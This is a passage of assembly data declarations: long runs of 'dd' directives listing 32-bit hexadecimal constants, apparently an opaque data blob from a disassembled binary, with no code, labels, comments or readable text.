		dd 780D1E1Dh, 0AF153C9Ah, 0E64C0770h, 0D1825955h, 0EF15FAF6h
		dd 310F76CBh, 50F6AE6h,	0BA08F76Fh, 72A4C6EBh, 7485DD1Fh
		dd 7C682131h, 449CFA9Ah, 0FDBFE09Fh, 9BA0604Dh,	4EDD5E4Ch
		dd 0A6476ECBh, 74F41C34h, 0F3ABFB3h, 0FCC7B05Ch, 0ACD4D363h
		dd 37B0C174h, 0C1971575h, 52AA15F1h, 6AF5E911h,	0F5AB5A67h
		dd 619D54C5h, 76D8FEA6h, 0A2D6A9CEh, 0ED1494AFh, 0F64722C7h
		dd 0F6013EE7h, 0C3C1EA81h, 68BAA2DFh, 8A1ECC17h, 0C86464E2h
		dd 0D5E84CC2h, 2A4289FBh, 2866DA95h, 21B9AE00h,	0DBFA0540h
		dd 1A9DA0BEh, 2B3A81F1h, 993CDD3Ch, 0A8D28956h,	0A00460B2h
		dd 3F988B53h, 2E5DEE42h, 61B562FFh, 93BDC0A4h, 1E88C6C3h
		dd 0A5B57402h, 1EAE1E37h, 2D7BEABCh, 0DC028E67h, 254A847Ah
		dd 8741B79Bh, 5308D165h, 14D6332Fh, 0AC543070h,	0D3234457h
		dd 0B373F652h, 56FF1B43h, 0CD8B5C3Ah, 6362277Fh, 0BC667B0Fh
		dd 4A4A3895h, 34404975h, 630E17A0h, 4048C0C0h, 0E7E4091h
		dd 2FC8DCC3h, 21DD6BE2h, 11ADFEECh, 76FFC6E9h, 8C56F7FDh
		dd 0C26F1BC9h, 5EE53EECh, 8A016F69h, 5A22B2BBh,	17296552h
		dd 0F6671B51h, 12F948C0h, 5C5E3C9Ah, 0AE9398Bh,	0FCD7BCA7h
		dd 9E19B0D6h, 453A51D4h, 326F2B9Bh, 50F06E6Ah, 0D674AC4Bh
		dd 9FBE962Dh, 0C0555566h, 1F44ADB3h, 25B4E9DDh,	492F61CCh
		dd 0AEEFF570h, 3C971CEh, 0CD8EBD87h, 670A6D97h,	0A7F5B444h
		dd 0FBD03553h, 0D68E6511h, 0FFB0CC7Eh, 73EB5971h, 0BC9CD57h
		dd 73B649B6h, 3344367Dh, 34B496AEh, 497D0BE5h, 32142925h
		dd 168ECD2Eh, 34FC0FAAh, 4FADD7A8h, 5899FA15h, 35E8C942h
		dd 2928B8ADh, 5A97C1D2h, 6282DE88h, 0D4843698h,	17134696h
		dd 6D59F5C6h, 0F11786DAh, 2362D843h, 36E8C56Fh,	0AB09B4CBh
		dd 9705EE07h, 6CA0E8E0h, 3C491662h, 0F83D1CC6h,	0D01A6B0Fh
		dd 0C83AA5F2h, 0AAAEF3AEh, 5896BDC7h, 0EFC5E943h, 68F54330h
		dd 3BA5FAA3h, 0A9D6D4BAh, 0E5C5E145h, 9449BBE1h, 5B9F2789h
		dd 1BBDD7C2h, 26BD0A6Ah, 65DA3506h, 0A155945h, 83B4D473h
		dd 0E7B432B7h, 2BFC6256h, 8C5A8EFBh, 0EC07A9B5h, 49A53150h
		dd 65A699D4h, 0BD397D97h, 9335ED4Fh, 0D95581ACh, 74627649h
		dd 0BEF7C73Eh, 0AB5ADB8Eh, 6EFC1BB9h, 0C1E33DFAh, 2B7D42BDh
		dd 21252E50h, 5A836408h, 0DAB139D0h, 649BEBDAh,	0DF72EDB8h
		dd 940DFB9Dh, 55DCBECAh, 4F08D574h, 0A6DE0833h,	7F0A8255h
		dd 0F8325307h, 2DC079E7h, 3D9115A3h, 26423976h,	0ACD235F0h
		dd 0C199BABCh, 9DF3B40Ah, 8D2A563h, 1EA7E294h, 5D4EE81Dh
		dd 9B66A55Dh, 0D2073DD6h, 952E5CDAh, 0D03C5001h, 0A6F3B2F4h
		dd 7BA386BEh, 3453C789h, 0D0E04AEAh, 0F689FDF4h, 303378B9h
		dd 46999917h, 59496B4Ch, 0AC917FACh, 9140DC2Eh,	0BCB84EADh
		dd 0B6DAFB5Bh, 3427B52Fh, 0FFC80EADh, 8CFE68D4h, 0ED69A27Eh
		dd 61A6307Bh, 0B6C2C7A9h, 0CA3C5686h, 9E207BD7h, 0A41A5A30h
		dd 66B962E2h, 0A0E91CD2h, 0D346C522h, 0ED7BD375h, 6B3CB07Ch
		dd 0F04CAA9h, 5F72D50Ch, 0A439F61Eh, 266EF6BBh,	0CD979574h
		dd 99A17DA0h, 827BC9E6h, 0A9EC04D2h, 0A4C9D175h, 0CC4EF20Eh
		dd 0FAB524AAh, 3505145Dh, 630EC09Ah, 0FDE4B093h, 7ED9327Bh
		dd 0BFE5B060h, 467ECA0Ch, 9FDBC1F3h, 5505FD03h,	3F29CD3Fh
		dd 3A7E0C5Dh, 3E509E07h, 9335A275h, 8D9DE57Dh, 96B9A0C5h
		dd 0FA36AD7Dh, 0CC0F2DBEh, 7CFADF50h, 2DFDFA21h, 0A2613591h
		dd 56565CE5h, 0A97A983Ah, 34ED36D5h, 0AF8FAE8Ch, 0D5A5C531h
		dd 85F93381h, 1C36C7A7h, 0C141161Bh, 7065D65Fh,	6A75B7FDh
		dd 1FFDFE04h, 71F09757h, 81451A91h, 7EDEB045h, 84ACD240h
		dd 84500510h, 13FB3643h, 7E0B7D1Ah, 8BA47B48h, 0CE63C6AAh
		dd 0C6FCF258h, 6C252AB1h, 64825F56h, 0B8B721ADh, 580A1A8Dh
		dd 0DD513D3h, 55766F85h, 13E84913h, 0EE0C198Bh,	36B1D2BAh
		dd 5EAD25B4h, 0DB11D680h, 2EF9B371h, 4B7737F9h,	81143C52h
		dd 0F5115D58h, 0B2C9772Eh, 0F74A9DCDh, 0CA49DA34h, 0F1F7FF39h
		dd 5EF8D6B1h, 79AA8FB7h, 0D1695532h, 762E8D42h,	0CE1DE662h
		dd 1BDC42EEh, 54779264h, 82FBEB21h, 8D36FB98h, 79E5E5ADh
		dd 965E66D1h, 97A4BE9Bh, 12646227h, 7154BBE5h, 47426A47h
		dd 94635FD8h, 5F1BD8Fh,	1337AA04h, 29575499h, 0F9C8EC4Ch
		dd 18F664E1h, 0E5AE4467h, 0A60E4824h, 1E1DE7AAh, 931B8B8h
		dd 0F384F70h, 93234E77h, 0A09DBB60h, 228F3C53h,	475FCABBh
		dd 0DF1ABE92h, 9215E0F1h, 0C38CD79Eh, 3BD3159Eh, 90B746E9h
		dd 0DB9C62D1h, 19A2AB6Fh, 0C4FBEA40h, 0B761D7DFh, 58CD00B0h
		dd 51757EFAh, 0AD7F2339h, 0D5C02597h, 103F455Dh, 0FC33FA29h
		dd 191E1489h, 0F31D86BAh, 0B2658F19h, 0D7AE511Dh, 0EBBC3BDFh
		dd 0C35097F3h, 391167ABh, 0B3E60D05h, 93504A9Fh, 97E4FE2Ch
		dd 75E7D38Bh, 8A2C5F34h, 0E06BCCBAh, 0F05AFEC1h, 31C183FBh
		dd 623FD18Ch, 274EC0D1h, 356EDD75h, 3423CE62h, 0FF5B7E16h
		dd 0B2FF03EEh, 0CFA2F6D9h, 0E1F7381Dh, 0DFF7E0FAh, 205621F8h
		dd 5DD13DCBh, 4E440999h, 0EC9729D7h, 0C9753F03h, 6CDEBF55h
		dd 0A44A365h, 6F75DBDDh, 92CD3416h, 0F860A6B6h,	59F2856h
		dd 0C94EE1F9h, 39FDCEF3h
		dd 13607667h, 7DE88826h, 60DAC952h, 0D9B2C3E7h,	0D6B3D5D6h
		dd 6A42FA61h, 5C9344DDh, 0CCAA058Fh, 0B0E5A659h, 4E29D496h
		dd 0DCC01BDAh, 0CDA30846h, 0D07350ABh, 9FBE7936h, 8485D453h
		dd 7DD6964Fh, 0ED7DF3E3h, 9CC521E6h, 980D1AF8h,	0EEF3D48Ah
		dd 8DE8F814h, 0C35AE02Bh, 0A04C4EFBh, 207B5308h, 0F646D4EBh
		dd 7089E0CCh, 47BCE6B9h, 65B3E729h, 0A3D5F176h,	8BA85C90h
		dd 0B15E5A19h, 0F83ADA26h, 3C12F745h, 0C347DFDh, 751B57D8h
		dd 920F0922h, 636A0B5Fh, 73BEE355h, 0D3A89B3Ch,	5BADCCCEh
		dd 4696073Fh, 4CCEBDFAh, 63E870B3h, 0F7D50F66h,	20DB924Bh
		dd 1E0C7948h, 44DD2CF8h, 65E76723h, 3854BD12h, 95FA28AAh
		dd 0B5318ED9h, 143BD384h, 0A4A1859Fh, 2FEC51CAh, 0E63668B3h
		dd 0C5556348h, 3F5467D2h, 0D0737EFDh, 54B92F84h, 40C5F188h
		dd 2EEC85B1h, 313049ADh, 205E9AD2h, 0CD58A95Ah,	24B148AFh
		dd 7F56505Bh, 9DA22BF1h, 38956F29h, 2AC0BBBDh, 0CBFABF95h
		dd 0A0E3A332h, 6977C65Bh, 0A8CBBD15h, 0E81E3877h, 0D987A96Ch
		dd 76D6A70Fh, 67BEE1A2h, 896FFBB4h, 5D95C9A3h, 0F76E02FFh
		dd 1F1F756Bh, 0E77A39F5h, 1E166D4Fh, 3356A8B8h,	95404B0Bh
		dd 0FE2B42DFh, 0E8DBBDEEh, 0C4B01A2Ah, 1D856CEAh, 27723F6Fh
		dd 82707E37h, 0C5DC4D68h, 518DF939h, 7BA96E23h,	7CE79D73h
		dd 0F68B4A2Ch, 39ADF99h, 0AE76DB14h, 92192A64h,	162AFF53h
		dd 0EC55487Fh, 5A302AE4h, 834EF040h, 0DFAEEBEDh, 0A1BAB788h
		dd 87BE572Ch, 580C680Bh, 0D9040F94h, 5984685Dh,	730981BDh
		dd 4948CCDDh, 6E455E4Ah, 0C19FB99Dh, 5EF0BD43h,	7E8C2AAAh
		dd 0C7921066h, 5E580F1Ah, 97643FCFh, 932B96FDh,	0F5650C3Ch
		dd 951CD539h, 0B138AB61h, 76F467BEh, 3BED8321h,	774B40B1h
		dd 55A682EEh, 5C1D76Dh,	0E5B35853h, 1BB3E7B8h, 1DFF6FE9h
		dd 7CBD968Bh, 66A72FCDh, 923714B8h, 0EE8126CBh,	0F15BDE87h
		dd 0BD4AC7F7h, 0B356AD8Fh, 63A1516Dh, 0F441A94Dh, 0AFB6F85Ch
		dd 9D68467Ch, 2B27A471h, 0F69DD5Eh, 8DEC497Dh, 354B02E7h
		dd 0ABA60E96h, 0A144D7EAh, 91FC6EC0h, 0D48A3557h, 7DD175CEh
		dd 4E4EAD5Bh, 0D60982E6h, 0BA1FBAB4h, 0CF84D905h, 0FB048CDBh
		dd 0A2561ED5h, 543028A0h, 3EFBE928h, 0B96927F4h, 8CE34F4Dh
		dd 93CFF304h, 0E079FF1Dh, 64988DADh, 0D34C3DF8h, 16D88973h
		dd 0DB834707h, 0FC72124Bh, 0CEBD49CBh, 4FF3963Dh, 0AA35588Fh
		dd 6261D40Ah, 0CC626E1Eh, 0ACF681FAh, 73E17407h, 0E663CB54h
		dd 0FFB18481h, 37720FADh, 0D2E63E0Dh, 2CA4A768h, 0DAAECAACh
		dd 6EDAFADAh, 0CC89DF94h, 0B4686C67h, 2EFD2DFBh, 0E1A94EA9h
		dd 0EFF7EDA5h, 81F9DB24h, 3885C7FBh, 11D5E329h,	76535599h
		dd 0B7979004h, 0B5750CCEh, 5AD125DEh, 1959EFDh,	0E3F2AF4h
		dd 875304E8h, 0CA64C97Ah, 0F03C3CBEh, 0FA13C663h, 0FA6B08CCh
		dd 0AA7EE76Dh, 0BB8CA8CBh, 0A7E20C3Fh, 25B58D7Eh, 417088DAh
		dd 3B4B1BB4h, 15E34452h, 0CBAF39CEh, 0DFE22132h, 6C8A61ABh
		dd 88675DB6h, 0D41636A0h, 0D5BE7EC7h, 90CA46A5h, 0D5C34AAFh
		dd 0CFE56127h, 1FE84091h, 0E37511A6h, 4CC212F5h, 3336FABh
		dd 68D05DEEh, 425F52A3h, 0BA5E2DF5h, 0F773AE21h, 156ECC0Ah
		dd 0E54F3548h, 0B007D673h, 6ECAA844h, 0E42BB08Dh, 4A0D18E8h
		dd 9381B8C2h, 0AA60D7Ch, 1BE1D103h, 0C3D973D1h,	0F228622Fh
		dd 0A795FEB5h, 9DC8EFA0h, 0DA36C519h, 1774F44Ah, 0D828732Fh
		dd 0AB50B48Bh, 76E1FBACh, 87918D8Ch, 4FE7835Eh,	4ECDEC09h
		dd 0A3E1A666h, 49C16F75h, 57986929h, 78AE59E9h,	0EF75067Ah
		dd 8DF38011h, 684D393Dh, 0CC49B934h, 0D5EB6D0Ch, 845DC921h
		dd 5046E51Ch, 607F2878h, 0F6C17CA8h, 5DD71989h,	4BFAD430h
		dd 280E598Fh, 88A84B3Bh, 2DC507CDh, 8768F725h, 0DA623411h
		dd 0B1A75B72h, 0F839699Ch, 3ED7FBBFh, 86DD86C9h, 40F908D4h
		dd 0ED144CBFh, 14C44EB0h, 6AC6C7A0h, 4D46BA8Bh,	0CF13F69Eh
		dd 0B0D956E4h, 7724FD52h, 6D1C40C3h, 3A4B067h, 0C3FBE7F6h
		dd 1E38D79Fh, 0C1DDF171h, 167C3D59h, 0D1A96167h, 0D1CFDD4Fh
		dd 83CEC78Ch, 15B5B5DBh, 0A4935521h, 14D5D648h,	32DC2B2Bh
		dd 0D90C7A16h, 2ABF8EDEh, 4FDCDF8Ah, 6AF5D6D5h,	8948307Ch
		dd 5E9BA558h, 9F81FAF8h, 39D89E5Ah, 785E56Eh, 510928CFh
		dd 9923076Ah, 0F59A3D75h, 282D12F9h, 0A9591447h, 799C17BBh
		dd 3FCAE9A8h, 0FB1EB610h, 1D8D8593h, 92AEDA4Ch,	20964990h
		dd 0B3EEA0E9h, 0F46B8854h, 0FB0FB5AAh, 0BAAC062Ah, 0BBE7155Fh
		dd 0C2F6CBA1h, 8766959h, 3BC3CB2Ch, 0CF2E337Dh,	5030370Eh
		dd 0B13771EBh, 68E158ECh, 0D8CFD1ECh, 0A589922Bh, 0D5A54DDDh
		dd 0A4D465E5h, 0A0AB816Bh, 0AB25D4E2h, 2FDC31CAh, 7125DAA1h
		dd 8E96D8F1h, 0FB77D4A1h, 8575BA7Ch, 0BAA16B35h, 43EA1C0Ch
		dd 633144B4h, 5BDBCD28h, 6E8FB358h, 0BF55AC74h,	74D1095Dh
		dd 8FE25AD1h, 34C063B2h, 5B16CD0Dh, 47E1894Bh, 0BDD16F79h
		dd 0C7B67ED7h, 5C697B34h, 1C87A014h, 112FD0FCh,	0E742E2A4h
		dd 353A96D7h, 75067DB4h, 0AFBA8E8Dh, 0BC14A6CCh, 0A42590A9h
		dd 6BD98A52h, 76409BE1h, 0E2B54615h, 8E834A57h,	0A587BDD4h
		dd 0EBAB5FCCh, 9F8DB162h, 5B47ACE8h, 0E00C670Ah, 5E16882Fh
		dd 0FDFE240h, 0BA6B5D2Eh, 547B8D26h, 49E5F1E9h,	2A5DB0B5h
		dd 1CFEF8C3h, 5629DA69h, 2DFCDA5Dh, 34DF0A3Dh, 6A4AADFCh
		dd 47F51CC3h, 64B16164h, 4FC202AAh, 3FCAF5A5h, 5BE9968Ch
		dd 83C31EFAh, 0A90F0D43h, 4D5C8DABh, 0D53A3FDFh, 5AA13F03h
		dd 0EF36BB21h, 0F77C017Dh, 889C66F8h, 1C52AB56h, 4EF2AF63h
		dd 0F8D1F003h, 0B124EB68h, 79501DFEh, 5A828849h, 8C68A292h
		dd 99ECDA46h, 0EAE621F8h, 5117A97Fh, 0D68B7FBEh, 0EC027EB2h
		dd 8A11AE75h, 90667869h, 0B3980F7Ah, 869994D4h,	17E81ECDh
		dd 6882419Bh, 39D0153Bh, 0C7620304h, 0B4EF9217h, 0E7C09C4Eh
		dd 0C5741968h, 0DEC7BD2h, 0AE6F2B5Eh, 8D505F72h, 43DF6D87h
		dd 3C252049h, 0CA1F070h, 0EFD8B799h, 0FE3A6575h, 4E19DA2Fh
		dd 0C1783421h, 576CA7B9h, 16D2C5FFh, 7DF82F82h,	456774F2h
		dd 6A04317Dh, 4B012A97h, 3655EB97h, 0A10A13D4h,	76AFBD2Bh
		dd 136DFF2Fh, 2B52A349h, 449D575Bh, 0CEAB961Ch,	0E33D5C0Eh
		dd 0E2D76162h, 2AA356EDh, 0FC987197h, 0B944E924h, 868E7E37h
		dd 0B116652Dh, 17CD4311h, 0FBBE8C0Fh, 0C94AB1DEh, 4252FD6Dh
		dd 9898A4BDh, 8F06696Bh, 7C8F5E07h, 6286D9FFh, 57A74F69h
		dd 0BCD39344h, 1C5FF791h, 0D5A3B791h, 0DED4B9A9h, 507E4BA3h
		dd 0AF9715C6h, 0F387FDA7h, 0EBD7FF7Ah, 25CD79C3h, 37E62EFAh
		dd 55D495B2h, 0E2495DF1h, 0F09D1E4Eh, 0F3BC9ED4h, 5D14FAF5h
		dd 3C6762E5h, 1536507Eh, 9BBB2551h, 2F2F49EFh, 0B0C7EC83h
		dd 0E5594A6h, 56B43717h, 3CFED61Fh, 79AE623Ch, 7F1CE8DAh
		dd 1B7B5A09h, 8BF1BFDAh, 0F3BC1C8h, 4721B618h, 0F1EC7052h
		dd 0AEC26D39h, 4541AB4Eh, 0CB89ED3Dh, 0BB54D12h, 6A4629AAh
		dd 400EA227h, 0F115F539h, 0D21BE9BDh, 3872B0D6h, 5D2B156Dh
		dd 0A69FEEA4h, 0FA47B726h, 0BA8B0E12h, 89CE9A28h, 22730E64h
		dd 0A13D5F4Ah, 0BB25306Ah, 0AAE1332Ah, 2BFDBA43h, 5CBFA845h
		dd 80CD492Dh, 0A665A2BBh, 6825E9DBh, 0BB65A8B3h, 3BDCA2B1h
		dd 0F59A7B45h, 52D61E12h, 0DF29DE44h, 19C8D092h, 2AEFBCADh
		dd 9D23F656h, 2FC3418Dh
		dd 76F7AF8Ch, 2B70E3C1h, 0E97477CEh, 81F17163h,	5DE8B021h
		dd 7EBE432Fh, 0CA34697Fh, 0C2ECA76Ah, 0BAA1FCD1h, 0B94D9DA7h
		dd 7A9D19A2h, 75A5BB1Ah, 2BF2A3D7h, 11263E69h, 0C3F18C9Bh
		dd 5D9D71F0h, 8E824B92h, 734B5C54h, 69705537h, 4AE7450Bh
		dd 373C80B6h, 0AA3E11D8h, 0FB72F364h, 961721CCh, 459AEEA4h
		dd 2BB957B7h, 4955746Ah, 3624DD8Ah, 7A68FEF5h, 3BB0C2C8h
		dd 8A2BADB0h, 0C24575C7h, 7E9CA9D9h, 3CF6ABDFh,	0A5000C9Ch
		dd 766F7F3Ch, 4B1D118Dh, 8D536BA3h, 0D3BD140Ah,	6E8EBA79h
		dd 0EC9D3DB4h, 0F8D555E2h, 91EE20B0h, 2665194Eh, 0AC5C9DDEh
		dd 0CE73F97Bh, 9ED78E14h, 0CEF57127h, 55AE4BFCh, 1F8AF2D2h
		dd 45E7769Ah, 967B91CCh, 0ADB9023h, 0B8B7B5CAh,	0A4448365h
		dd 0BC525C12h, 7DB20E7Ch, 0ADD34C1Eh, 0FB1B494Dh, 94872D4Eh
		dd 2FEE3BD7h, 4720E338h, 2F2C6ED2h, 93835391h, 83052847h
		dd 0A9ACE387h, 757232D6h, 292FA1D8h, 64218F7Bh,	999BDA86h
		dd 0ED64BC35h, 0E18A21F3h, 2D04654Ah, 0DD6BE74Eh, 40016B4Dh
		dd 95765F1h, 136C4C8Dh,	0B9D4FBE1h, 45EA2971h, 0A917DF88h
		dd 39BAB954h, 185DF563h, 8BC0BBF0h, 0AE7AE63Ah,	0D8BAFC67h
		dd 5D624C62h, 0DEAE2B59h, 46BDDD88h, 0DA50F7AFh, 3F1BD3EFh
		dd 0B3F978C4h, 47B07789h, 0EEE7B61Dh, 65B91D41h, 1CF3383Ch
		dd 3731D787h, 49268CF3h, 0FBC33415h, 1E8FE657h,	4F70CEADh
		dd 8BBE4F96h, 0F04EA382h, 4C4A6614h, 4C5F15F4h,	53DCAD23h
		dd 70CCDF6h, 3F53EE5Ch,	0AC1A226h, 8A5EA8D9h, 0D56603h
		dd 0A2AD810Ch, 82ED3AB2h, 0ECEC2FF3h, 0C652E822h, 3E984B44h
		dd 0EA5FB2A9h, 44C04AD3h, 0B3BBFB5Fh, 5AB1F6F4h, 30FC05EDh
		dd 0C7195738h, 0CC7041A5h, 0E4768D5h, 0FFD38E16h, 896270E9h
		dd 91A5B304h, 0E069D8Dh, 70761337h, 480A971Dh, 0C32798E8h
		dd 0BCBDDC94h, 6D6ACF6Ch, 0C47F2D15h, 0A6078C44h, 0DCDA4E8Ch
		dd 0FC4D8379h, 46D7EF50h, 0A3BA4573h, 9566165Fh, 7E6ECBC5h
		dd 9EC728F8h, 83EE7E4Dh, 0A844926Ch, 46068999h,	243791A4h
		dd 0A9DE34DAh, 10892BF7h, 60B4B6EAh, 7D8842D0h,	0B22F1D4Ch
		dd 5ABF55C2h, 5E5588E4h, 0C24B1701h, 0F360955Dh, 8F14640Ch
		dd 0EE946A08h, 0AB53B74Fh, 0B535B65Ch, 9DAF6214h, 3EC53139h
		dd 1B567838h, 3F52F165h, 0CB1D0659h, 86E9FE7Bh,	236F415Eh
		dd 0AF3522D5h, 9F05636Ch, 212AD236h, 81FDA3CEh,	620A0E07h
		dd 0B87EA55Fh, 130BA2C9h, 894D7653h, 7E4072BBh,	0D420894Fh
		dd 2B83B14Bh, 0F2E1AEC0h, 0F624C389h, 0B175F86Ch, 7E344BEEh
		dd 57D60D44h, 765805F9h, 0CBEAF2D6h, 0AF542328h, 2D54FF41h
		dd 916679D3h, 3E01FF4h,	0DB1C1311h, 31D29F13h, 0B259C575h
		dd 0DB74EE46h, 1FC2637Dh, 0B05D9291h, 0D50D7671h, 5D6E2F75h
		dd 6FEF5D1Ah, 8D26AA08h, 634B24FFh, 83EBF0A8h, 0D62DCE9Bh
		dd 61E65C4Bh, 0BA25C04Fh, 0FEAE2FC2h, 0C7F897C0h, 473C3DADh
		dd 352A11BCh, 9AB8D318h, 0CD58B8B2h, 0F6F6312Ch, 0FB915C81h
		dd 92CB4B68h, 92979545h, 0A69862DFh, 884E2AE1h,	422BF9DAh
		dd 51A56618h, 7688AB7Eh, 0FBF077BFh, 6D5AB38Ch,	134E383Ch
		dd 667CC60Bh, 25DF81FDh, 92D68573h, 1DB0D8EAh, 0D0825975h
		dd 4EBD565Fh, 269E833Dh, 8724AACDh, 855C48Fh, 9A9F0AD1h
		dd 0AB9DF2BAh, 0F84B3607h, 93E5ACCEh, 8B47D964h, 0A9029D30h
		dd 0B9397515h, 366DB617h, 78F185D8h, 0CEBB31DBh, 97F47F8Fh
		dd 0DC082587h, 0C3AE726h, 0BD83317Fh, 0DB74E573h, 1A5804B7h
		dd 16BEEBAEh, 55DDCC4Fh, 5F68532Ah, 931A90C6h, 6010041Bh
		dd 0DC25193Eh, 48BF61C5h, 0FBB55084h, 4F951703h, 0B5A26DEBh
		dd 838FB8CCh, 42A487BAh, 49E98CB8h, 0D32A4BABh,	2ABE3BAAh
		dd 0C221CCB9h, 4B13AE91h, 6D1E0867h, 0FB5EF5D4h, 2DF6AC04h
		dd 8508ED7Eh, 4F4E6B65h, 868F59AEh, 79BE41B2h, 0C52624EBh
		dd 5CB5B035h, 4E07E1BDh, 0AF83BCDCh, 48A61EFBh,	0B716B2DDh
		dd 5A861B0Eh, 7B888D6Ch, 88E07EBCh, 0E79F5B54h,	0E132126Dh
		dd 0A9B37AEAh, 3D08CEAAh, 0FDE8CDFBh, 0C456E42Dh, 0E2BEAD0Fh
		dd 8BAF5712h, 0A5928A75h, 2CFC4D9Bh, 160A186Ch,	19D7111Eh
		dd 421CAE62h, 0B5594542h, 3F3DD654h, 934D8260h,	12FE51ECh
		dd 0CB9FE897h, 8BAF8EBCh, 8654E504h, 0EEDEB3DBh, 2EBAEF5Bh
		dd 37867312h, 0CAB7B7A3h, 45781EEAh, 53C52FB3h,	5B7A5480h
		dd 56399667h, 549EA457h, 0DA527CD6h, 3B9CB83Ch,	4593E9A9h
		dd 520B7ACFh, 72B107D3h, 2E11FD85h, 0E8446029h,	85A72BE6h
		dd 0DB7F8B29h, 380B45D5h, 768A924Ch, 0DFB9606Ah, 1039A12Ch
		dd 305F547Bh, 0E2EE1EAFh, 8F268726h, 147B602Bh,	2FDBF3FBh
		dd 285A58AAh, 0FFAE83E8h, 938F0729h, 0ED166712h, 1BCCAED5h
		dd 0B6D30C9Dh, 2493A92Ch, 75C929DBh, 7F1629EFh,	12A27360h
		dd 0E95DB5F2h, 0D3B4FE66h, 0D5482A67h, 966A79B7h, 0E8D0DE65h
		dd 9CA66323h, 51B6AF3Ah, 46AD8DFBh, 236D978Bh, 37AB55C4h
		dd 0A443EA47h, 3211C6A6h, 0F396D565h, 7BC9CED5h, 0A9AE8CDEh
		dd 86A61C1Ch, 0C0F021Fh, 1CD72A35h, 4A2FAA4Dh, 816D2ED0h
		dd 2F666167h, 0EFD0C602h, 8CEA3360h, 5778DF3Bh,	2FE0D0A4h
		dd 0A7A8FA9Eh, 0DAE3CF75h, 8AA7DBECh, 3FECD52Ch, 1E0ACED5h
		dd 285F4FBBh, 0FE7BC6A7h, 557ABD8Ah, 0D50F94FBh, 8843625h
		dd 71896C45h, 0D7FED5E9h, 0FBA3E2F7h, 7A4B3E2Ch, 0E58FC12Dh
		dd 0B03C446Bh, 6F75B1D7h, 0C6B9ED6Dh, 0FA4EE22Fh, 0C962F6F2h
		dd 0F8200975h, 5E0D4F4Fh, 5EB1371Eh, 373CBAE4h,	8BAAE6A4h
		dd 0CD22D8D0h, 0FE45AD4Ch, 3BD6D3E6h, 0EB43ED1Fh, 82704A60h
		dd 52B94A82h, 6ACB9044h, 799B9228h, 72BD2689h, 26730450h
		dd 0ABCFAE6Eh, 9D738798h, 695BB301h, 84B9319Dh,	60D52FCFh
		dd 73461977h, 0F87F1A71h, 0BF5E1F51h, 0FC63F51h, 0F72671h
		dd 0EFA45CAAh, 67C50334h, 0B9FE41CEh, 9F5374ADh, 39B8EEF4h
		dd 34AA0583h, 0B341CF78h, 7F40FB71h, 636BF144h,	0FD2B98C3h
		dd 0E573B753h, 0ABE58C01h, 78E64A6Bh, 137A6D36h, 0FF7C1025h
		dd 0DF97DDECh, 168B89A5h, 0D4266079h, 0EDD4EE35h, 0F21B1AA9h
		dd 0CCCB331h, 0CFA7BACh, 5795D946h, 5A538723h, 3B8BCB62h
		dd 0F4536172h, 5C9D617Fh, 41CF83FBh, 5F6CDE1Ch,	0C7A99F27h
		dd 0BDE02A5Fh, 0A61290D9h, 2B546158h, 217F50BEh, 2F5A2C4Ch
		dd 0C7A24B3Ah, 91E6650Dh, 6A2C1FE4h, 0AE3370A4h, 27EADD6Eh
		dd 1DF9825Eh, 0BE3ADF72h, 0BAA5457Fh, 0DA9AFC0Fh, 1AFEE194h
		dd 0F4DDEC42h, 0E5AF79E8h, 959B5AF4h, 35D37B66h, 0DEC83F8Ah
		dd 29FCD6A3h, 927A6B11h, 7FBB86E6h, 0DA71082Fh,	0F9E52BD1h
		dd 0E53B42C0h, 0A4F1119Ah, 59EFC3h, 1AE2653Bh, 0D0BDF77Bh
		dd 0D5A34h, 0E9646BABh,	68B00EE7h, 4E4E4B3Bh, 2957F0A8h
		dd 0E515A817h, 3177E975h, 50C9B866h, 0F796CA07h, 0D9108B7Ah
		dd 3F23CAC6h, 0AE6541B0h, 6A4B3208h, 0B658D565h, 796EE18Eh
		dd 4EE4A6CAh, 0CD37E381h, 983CD55Dh, 0DBEB5A3Ah, 2EF0E599h
		dd 62CE71F2h, 71CC312Ah, 50070C3h, 2B490E65h, 4AA66747h
		dd 46D66ADAh, 493BD57Bh, 0B124A6A4h, 0E931D75h,	58773F03h
		dd 0A54A2BE2h, 0C4C5FBE5h, 96DE5D9Ch, 0CE019425h, 2B61E335h
		dd 4BC58CDFh, 363CCC3Fh, 0B89791CEh, 0CDD1A16Bh, 35C307Dh
		dd 0B1D5F820h, 2B6FE883h, 62B248D1h, 91C4A062h,	8E53ACFAh
		dd 141F65D3h, 0D1DF3509h
		dd 0B84F0546h, 0FF77B567h, 0C1414921h, 9F86C311h, 6D179242h
		dd 0F5D3EBD3h, 76D817DEh, 0A1143378h, 0DC69808Ch, 7E3CB54h
		dd 62FA4856h, 7B7AA0A2h, 0C4AB85CDh, 521F3D66h,	0EE2E92A2h
		dd 2AE2B478h, 0AE0B8333h, 0CAF7B8CAh, 0A2E8F8B4h, 0D295D216h
		dd 4BBF6C2Bh, 0A9678A42h, 0CBB7C49Fh, 0ADB12D11h, 0DA808324h
		dd 744858DDh, 3323FA53h, 0F523DF48h, 525964E5h,	0D4CE749Bh
		dd 9455E333h, 341493DEh, 0C7685A41h, 92B3B756h,	19295F2Dh
		dd 6715247Ah, 0E0F9FBF0h, 9878986Bh, 3D6D55A4h,	0AD946E7h
		dd 2FD0AFBCh, 9A974BC6h, 61994619h, 15D8B547h, 0CBFE3D4Ch
		dd 0BC20C0AFh, 78AC0853h, 695F5F30h, 0D675A4D3h, 73330B17h
		dd 87E087BBh, 0D75825C6h, 33FAE118h, 0D8909149h, 0DA1737ADh
		dd 6FBD9492h, 0F1E0F95Ah, 0B81F3E67h, 0DB9AF3E2h, 776A3486h
		dd 8D3C1F8Eh, 0C7B8C729h, 0D6F0375Ah, 0A35D68CCh, 0F653BB82h
		dd 130EADEAh, 7D36339h,	8E9E03EDh, 4D7BCFD0h, 7D36A701h
		dd 0EE3142CFh, 0CFB646E8h, 81687C17h, 146675C1h, 6482A789h
		dd 0CAD236FAh, 0E16B57E4h, 91926096h, 46B2C7DDh, 7D1C5F48h
		dd 57EA48A1h, 0AB773CDEh, 1A4068BCh, 7F549CBAh,	1695BBDCh
		dd 0BE199D27h, 0DB125FD9h, 0C02BEB4Ch, 96BE0DF7h, 74F1B2D8h
		dd 9863EF32h, 0CA9486DAh, 0C1E0A7EAh, 6DBC7D28h, 0CCF678F5h
		dd 42299F44h, 0AC084C28h, 28902D91h, 0DF0F275Fh, 39572C40h
		dd 0F7C83BF9h, 6AA085E6h, 0D7FB370h, 0ADEFBA44h, 0C98AED1Bh
